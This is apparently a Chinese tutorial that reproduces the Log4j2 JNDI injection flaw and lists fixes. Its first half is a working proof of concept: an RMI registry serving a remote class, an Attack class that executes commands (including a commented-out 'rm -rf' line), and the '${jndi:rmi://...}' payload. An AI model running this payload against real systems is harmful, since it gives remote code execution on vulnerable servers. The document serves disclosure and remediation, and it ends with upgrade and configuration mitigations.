Java Log4j2 高危漏洞复现及解决办法
Java Log4j2 About 4,319 words影响范围
影响< 2.15.0
的所有2.x
版本。且JDK
版本在Oracle JDK 11.0.1
、8u191
、7u201
、6u211
及之前的版本。
GitHub
漏洞公告:https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
复现
组件版本
JDK1.8.0_292
、Spring Boot 2.6.0
、spring-boot-starter-log4j2 2.6.0
(内部依赖log4j-core 2.14.1
)
JNDI 服务
public class RegisterServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Attack", "Attack", "http://127.0.0.1:8080/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("bloom", wrapper);
}
}
攻击代码
编译:javac -encoding UTF8 Attack.java
public class Attack implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("执行了攻击代码 obj = " + obj + ", name = " + name + ", nameCtx = " + nameCtx + ", environment = " + environment);
Process process = Runtime.getRuntime().exec("notepad.exe");
// Process process = Runtime.getRuntime().exec("rm -rf ../aaa");
return null;
}
public static void main(String[] args) {
System.out.println("");
}
}
攻击代码资源服务器
Attack.class
放置在Spring Boot
的resources
文件夹下。
@GetMapping("/{path}")
public ResponseEntity<Resource> download(@PathVariable String path) {
String contentDisposition = ContentDisposition
.attachment() // .builder("attachment")
.filename(path)
.build().toString();
return ResponseEntity.ok()
.header(HttpHeaders.CONTENT_DISPOSITION, contentDisposition)
// .contentType(MediaType.IMAGE_JPEG)
.contentType(MediaType.MULTIPART_FORM_DATA)
// .body(new FileSystemResource(path));
.body(new ClassPathResource(path));
}
应用代码
@RestController
@SpringBootApplication
public class Log4j2BugServerApplication {
Logger logger = LogManager.getLogger(Log4j2BugServerApplication.class);
public static void main(String[] args) {
// JDK 高版本默认 trustURLCodebase 为 false,需手动设置
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
SpringApplication.run(Log4j2BugServerApplication.class, args);
}
@GetMapping("/test")
public String test() {
String str = "${jndi:rmi://127.0.0.1:1099/bloom}";
logger.error("{}", str);
return "ok";
}
}
日志输出
访问http://127.0.0.1:8080/test
后,Windows
平台打开了记事本,Spring Boot
工程中输出了攻击代码的日志。
执行了攻击代码 obj = Reference Class Name: Attack
, name = bloom, nameCtx = com.sun.jndi.rmi.registry.RegistryContext@7502a323, environment = {}
2021-12-13 07:50:02.035 ERROR 7348 --- [nio-8080-exec-1] c.e.l.Log4j2BugServerApplication : ${jndi:rmi://127.0.0.1:1099/bloom}
解决方法
方法一
升级log4j-core
至2.15.0
版本。
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
方法二
禁用log4j
的lookup
功能。2.15.0
版本中默认关闭了lookup
功能。
选择以下四种中的一种即可。
启动参数中添加:
-Dlog4j2.formatMsgNoLookups=true
应用启动时设置(确保在LogManager.getLogger
调用前设置)
System.setProperty("log4j2.formatMsgNoLookups", "true");
环境变量中增加:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
对于>=2.7
的版本,在log4j
中对每一个日志输出格式进行修改。在%msg
占位符后面添加{nolookups}
,这种方式的适用范围比方式二的其他三种配置更广。比如在log4j2.xml
中配置:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{nolookups}%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="error">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
方法三
通过删除漏洞类进行修复的方案比较稳,也是官方推荐的一种修复方案。直接删除log4j jar
包中存在漏洞的类:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
方法四
升级JDK
版本。
对于Oracle JDK 11.0.1
、8u191
、7u201
、6u211
或者更高版本的JDK
,默认已经禁用了RMI Reference
、LDAP Reference
的远程加载。
但是在高版本JDK
环境下,JNDI
注入也还是存在一定RCE
风险,可以参考这篇文章:https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
建议还是升级log4j-core
至2.15.0
。
参考
————        END        ————
Give me a Star, Thanks:)
https://github.com/fendoudebb/LiteNote扫描下方二维码关注公众号和小程序↓↓↓